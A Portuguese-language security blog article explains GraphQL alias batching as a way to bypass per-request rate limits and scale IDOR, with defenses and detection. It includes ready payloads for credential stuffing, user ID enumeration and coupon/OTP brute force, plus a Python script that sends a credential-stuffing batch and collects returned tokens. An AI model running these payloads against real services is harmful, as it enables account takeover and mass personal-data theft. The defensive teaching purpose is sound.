Voltar aos artigos
Advanced

GraphQL Alias Batching como Primitivo de Bypass de Rate-Limit e IDOR

GraphQL foi projetado para dar poder aos clientes — o poder de pedir exatamente o que precisam, composto do jeito que quiserem, em uma única viagem de ida e volta.

@0xrafasecFebruary 18, 2026web_app_security

Available in English

Share:

GraphQL Alias Batching como Primitivo de Bypass de Rate-Limit e IDOR

Legal & Ethical Disclaimer

This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.

DO
  • Use these techniques on systems you own or have explicit written permission to test
  • Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
  • Follow responsible disclosure practices when finding vulnerabilities
  • Use knowledge for defensive security and authorized penetration testing
DO NOT
  • Access systems without explicit authorization
  • Use these techniques for malicious purposes
  • Deploy exploits against production systems you don't own
  • Share working exploits for unpatched vulnerabilities

Legal warning

Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.

Hook & Contexto

GraphQL foi projetado para dar poder aos clientes — o poder de pedir exatamente o que precisam, composto do jeito que quiserem, em uma única viagem de ida e volta. Essa composabilidade também é seu paradoxo de segurança. Cada feature que torna GraphQL expressivo para desenvolvedores se torna uma primitiva que atacantes podem encadear. Alias batching é o exemplo mais claro dessa tensão: uma feature pensada para deixar você buscar user duas vezes com argumentos diferentes na mesma query se torna um mecanismo para lançar 50 tentativas de credential-stuffing, 200 probes de user-ID ou 100 palpites de código de cupom em uma única requisição HTTP — uma que seu rate limiter vê como um request.

A maioria da infraestrutura de rate-limiting vive na camada HTTP. Conta requisições por IP, por token, por segundo. Não tem consciência do que está dentro do payload GraphQL. Um firewall que bloqueia depois de 10 logins falhados por minuto vai felizmente observar uma query com alias batching tentando 50 senhas em um único POST e contar como um evento. Isso não é uma misconfiguration do GraphQL — é um impedance mismatch fundamental entre como defesas da era REST pensam em "um request" e como GraphQL realmente funciona.

Este artigo constrói o modelo mental desde os primeiros princípios: por que aliases existem, como eles colapsam múltiplas operações lógicas em um evento a nível de transporte, onde isso quebra controles de IDOR, e como detectar o padrão programaticamente — idealmente antes de qualquer exploração acontecer.


TL;DR

DimensãoDetalhe
PrimitivaGraphQL alias batching — múltiplos campos com alias em um HTTP POST
Alvo de bypassLimitadores de taxa por requisição, lockouts de brute-force, controles de IDOR
Superfície de ataqueMutations de login, lookups de usuário/recurso, endpoints de validação de token
Alavanca de detecçãoIntrospection + parsing de estrutura de query antes de avaliação de rate-limit
Causa raizDefesas em camada HTTP são cegas para multiplicidade de operações intra-request
CorrigirRate limiting em nível de operação, limites de profundidade/contagem de alias, autorização por campo

Fundações & Teoria

O Que Aliases Realmente São

Em GraphQL, um nome de campo é tanto a chave de query quanto a chave de resposta. Se você queryar user(id: 1) duas vezes com argumentos diferentes, o parser rejeita — você não pode ter duas chaves user no mesmo objeto de resposta. Aliases resolvem isso deixando você renomear a chave de resposta:

graphql
query {
  u1: user(id: 1) { email }
  u2: user(id: 2) { email }
}

O servidor resolve ambos os campos user independentemente e retorna sob as chaves u1 e u2. Isso é legítimo e útil — dashboards que precisam de múltiplos recursos, views de comparação ou lookups agregados todos se beneficiam disso. A especificação GraphQL explicitamente suporta esse padrão. Isso não é um bug. A vulnerabilidade emerge quando infraestrutura de autorização e rate-limiting falha em contar com ela.

O Impedance Mismatch

REST mapeia uma URL + método para uma operação lógica. Rate limiters, WAFs e middleware de auth são construídos sobre essa assunção. GraphQL colapsa N operações lógicas em um evento HTTP. O mismatch fica assim:

Loading diagram…

O rate limiter dispara uma vez. O resolver dispara cinquenta vezes. Este é o ataque inteiro.


Onde Isso Encaixa no Workflow

Alias batching não é um exploit standalone — é um multiplicador que você aplica a classes de vulnerabilidade existentes. Aqui está onde se encaixa em uma avaliação de segurança de API:

Loading diagram…

A oportunidade de detecção é no passo A–B: se você fizer parse do output de introspection e flaguar resolvers que aceitam argumentos parecidos com credenciais ou IDs antes de qualquer fase de exploração, você pode avaliar risco sem disparar um único request abusivo contra produção.


Conceitos-Chave em Profundidade

1. Credential Stuffing Baseado em Alias

Considere uma mutation de login:

graphql
mutation {
  login(username: "alice", password: "hunter2") {
    token
    error
  }
}

Um payload de credential stuffing em alias batching fica assim:

graphql
mutation {
  a1: login(username: "alice", password: "password1") { token error }
  a2: login(username: "alice", password: "password2") { token error }
  a3: login(username: "alice", password: "password3") { token error }
  # ... até limite de alias ou timeout de servidor
}

Um HTTP POST. Cinquenta invocações de resolver. A resposta é um objeto JSON com cinquenta chaves, cada uma contendo ou um token válido ou um error. Você itera a resposta lado do cliente para extrair sucessos. O contador de account lockout pode nunca disparar porque é tipicamente chaveado a eventos de login falhado rastreados por requisição, não por invocação de resolver — a menos que o desenvolvedor explicitamente tenha implementado isso em nível de resolver.

O teto prático de contagem de alias não é definido pela especificação — é limites de recurso lado do servidor (timeout, memória, max complexity). Muitos servidores GraphQL em produção permitem centenas de aliases antes de bater qualquer constraint. Um gerador de payload em Python:

python
import requests

def build_credential_stuffing_payload(username, passwords):
    aliases = "\n".join(
        f'  a{i}: login(username: "{username}", password: "{pw}") {{ token error }}'
        for i, pw in enumerate(passwords)
    )
    return {"query": f"mutation {{\n{aliases}\n}}"}

resp = requests.post(
    "https://target.example/graphql",
    json=build_credential_stuffing_payload("alice@example.com", wordlist),
    headers={"Content-Type": "application/json"}
)
results = resp.json().get("data", {})
hits = {k: v for k, v in results.items() if v.get("token")}

2. Enumeração de ID e IDOR via Alias Batching

IDOR em REST é simples: mude GET /users/42 para GET /users/43. Middleware de autorização pode envolver a rota e enforçar verificações de posse — ou pelo menos, é óbvio onde colocá-las. Em GraphQL, o equivalente é um campo query user(id: Int!). O padrão IDOR em alias-batch:

graphql
query {
  u100: user(id: 100) { id email phone }
  u101: user(id: 101) { id email phone }
  u102: user(id: 102) { id email phone }
  # ... 200 IDs em um request
}

A falha de autorização aqui está em nível de resolver, não em nível de transporte. Se o resolver user checa "o requisitor está autenticado?" mas não "o requisitor é este usuário ou um admin?", cada alias resolve livremente. Você enumera PII para 200 usuários em uma única requisição que infraestrutura de rate-limiting registra como um API call.

Isso mapeia diretamente para OWASP API Security Top 10 2023 — API1: Broken Object Level Authorization. A primitiva de alias não cria a IDOR; ela escala ela além do atrito econômico que throttling por requisição poderia fornecer.

Loading diagram…

3. Token e Coupon Brute-Force

Tokens de reset de senha, códigos one-time, cupons de desconto e códigos de gift card são todas strings de entropia curta e alto valor. Se a validação é exposta como uma query ou mutation GraphQL, alias batching a transforma em uma primitiva de brute-force:

graphql
query {
  c1: validateCoupon(code: "SAVE10A") { valid discount }
  c2: validateCoupon(code: "SAVE10B") { valid discount }
  c3: validateCoupon(code: "SAVE10C") { valid discount }
}

Análogo real-mundo: o relatório de 2022 do HackerOne sobre uma plataforma de e-commerce major onde um OTP validation em alias-batch contornou um lockout de 3-tentativa porque o contador de lockout incrementava por HTTP request, não por chamada de resolver. O alias batch submeteu 100 palpites de OTP em um request e acertou o código correto antes de um segundo request ser necessário.

4. Detectando o Padrão com Parsing de Introspection Automatizado

A aplicação mais defensivamente útil de entender essa primitiva é detectar exposição antes de exploração. O workflow: busque o schema via introspection, identifique assinaturas de resolver de alto risco, e flagque como targets de alias-batching — tudo sem enviar um único payload abusivo.

python
import requests, json

INTROSPECTION = """
{ __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } } }
  mutationType { fields { name args { name type { name kind ofType { name kind } } } } } } }
"""

HIGH_RISK_PATTERNS = ["login", "password", "token", "otp", "code", "user", "account", "verify"]

def audit_schema(endpoint, headers=None):
    resp = requests.post(endpoint, json={"query": INTROSPECTION}, headers=headers or {})
    schema = resp.json()["data"]["__schema"]
    flagged = []
    for type_obj in [schema.get("queryType"), schema.get("mutationType")]:
        if not type_obj:
            continue
        for field in type_obj.get("fields", []):
            name = field["name"].lower()
            if any(p in name for p in HIGH_RISK_PATTERNS):
                flagged.append({"field": field["name"], "args": [a["name"] for a in field["args"]]})
    return flagged

findings = audit_schema("https://target.example/graphql")
for f in findings:
    print(f"[!] High-risk resolver: {f['field']} | args: {f['args']}")

Isso roda como um passo de recon pré-exploração. Combinado com graphql-cop, que faz probe para alias flooding, batching support e introspection exposure, você constrói uma imagem completa de risco na fase de recon da avaliação.

5. Alias Count como um Signal de Complexity

Servidores GraphQL que implementam análise de complexidade de query (ex: graphql-query-complexity) atribuem um custo a cada campo. Mas contagem de alias frequentemente não é fatorada em cálculos de complexidade padrão, porque cada alias resolve o mesmo campo underlying — parece complexidade 1 quando é realmente complexidade N. Servidores rodando Apollo Server, Hasura ou stacks Express-graphql customizados sem regras de complexidade explicitamente alias-aware estão expostos por padrão.

A implicação do lado da detecção: quando você vê um servidor que retorna dados de introspection, suporta mutations e não parece implementar complexity limits (probe com uma query de 10-alias e observe latência/erros), assuma que alias batching funciona até provado ao contrário.


Alternativas & Comparação

Outros mecanismos de batching alcançam efeitos de bypass similares. Entender o landscape ajuda você a escolher a probe certa durante avaliação e recomendar a defesa certa.

MecanismoComo FuncionaRate-Limit BypassDetectável via IntrospectionDefesa
Alias batchingMúltiplos aliases em uma query✅ Forte✅ SimLimit de alias count, rate limit em nível de resolver
Array batching[{query:...}, {query:...}] POST body✅ Forte⚠️ ParcialDesabilitar batch POST, limitar tamanho de array batch
Fragment abuseFragments repetidos inflam chamadas de resolver⚠️ Moderado⚠️ ParcialQuery depth + complexity limits
Persisted query abuseRotar IDs de persisted query rapidamente⚠️ Dependente de contexto❌ NãoAllowlist-only persisted queries
HTTP/2 multiplexingStream múltiplos requests distintos✅ Forte❌ NãoPer-stream rate limiting

Array batching (enviar um JSON array de objetos de operação) é o parente mais próximo e frequentemente é desabilitado separadamente de alias batching — confirme ambos durante avaliação. Fragment abuse é menos confiável porque a maioria dos servidores implementa max depth limits que o capturam incidentalmente. HTTP/2 multiplexing é uma primitiva em camada de transporte e não requer defesas específicas de GraphQL, mas também não te dá agregação de resposta em single-request.


Minha Análise & Leitura Adicional

Leitura Adicional & Referências

Achou este artigo interessante? Siga-me no X e no LinkedIn.